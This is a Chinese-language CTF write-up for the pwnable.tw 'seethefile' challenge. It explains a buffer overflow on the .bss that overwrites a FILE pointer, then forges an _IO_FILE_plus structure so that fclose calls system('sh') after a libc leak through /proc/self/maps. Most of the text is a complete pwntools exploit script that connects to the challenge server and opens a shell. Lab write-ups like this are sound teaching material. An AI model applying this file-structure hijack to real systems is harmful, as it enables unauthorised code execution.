pwnable.tw seethefile writeup

考察的是_IO_FILE_的漏洞,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序下载:http://file.eonew.cn/ctf/pwn/seethefile.zip

安全防护

ex@Ex:~/test$ checksec seethefile
[*] '/home/ex/test/seethefile'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

溢出点

case 5:
  printf("Leave your name :");
  __isoc99_scanf("%s", name);
  printf("Thank you %s ,see you next time\n", name);
  if ( fp )
    fclose(fp);
  exit(0);

在退出时没有对输入长度进行限制,使得可以溢出到后面的fp指针上。

.bss:0804B260                 public name
.bss:0804B260 ; char name[32]
.bss:0804B260 name            db 20h dup(?)           ; DATA XREF: main+9Fo
.bss:0804B260                                         ; main+B4o
.bss:0804B280                 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp              dd ?                    ; DATA XREF: openfile+6↑r
.bss:0804B280                                         ; openfile+ADw ...

思路

  1. 读取/proc/self/maps泄露地址
  2. 构造_IO_FILE_plus

构造_IO_FILE_plus

由于fp是可控的,我们可以使其执向我们构造的假的_IO_FILE_plus,在其调用fclose时会用到其中的fp->vtable->__finish函数指针,我们只要将其改成system函数即可。

fclose函数的利用可以参考ray-cp的博客: https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

# for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
#     signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

# context.arch = "amd64"
context.arch = "i386"
context.log_level = 'debug'
execve_file = './seethefile'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10200)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $f=(struct _IO_FILE_plus **)&fp
    # b *0x8048AFD
    b _IO_new_fclose
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('What do you want to see :', '/proc/self/maps')

sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Your choice :', '3')

sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Your choice :', '3')

sh.recvline()

libc_addr = int(sh.recvuntil('-')[:-1], 16)
log.success('libc_addr: ' + hex(libc_addr))

layout = [
    0,0,
    libc_addr + libc.symbols['system'], 0,
    0, 0, 0, 0,
    elf.symbols['name'] + 0x28, 0,
    u32('\x80\x80||'), u32('sh\0\0'),
]

sh.sendlineafter('Your choice :', '5')
# pause()
sh.sendlineafter('Leave your name :', flat(layout).ljust(0x94 + 0x28, '\0') + p32(elf.symbols['name']))

sh.interactive()
clear()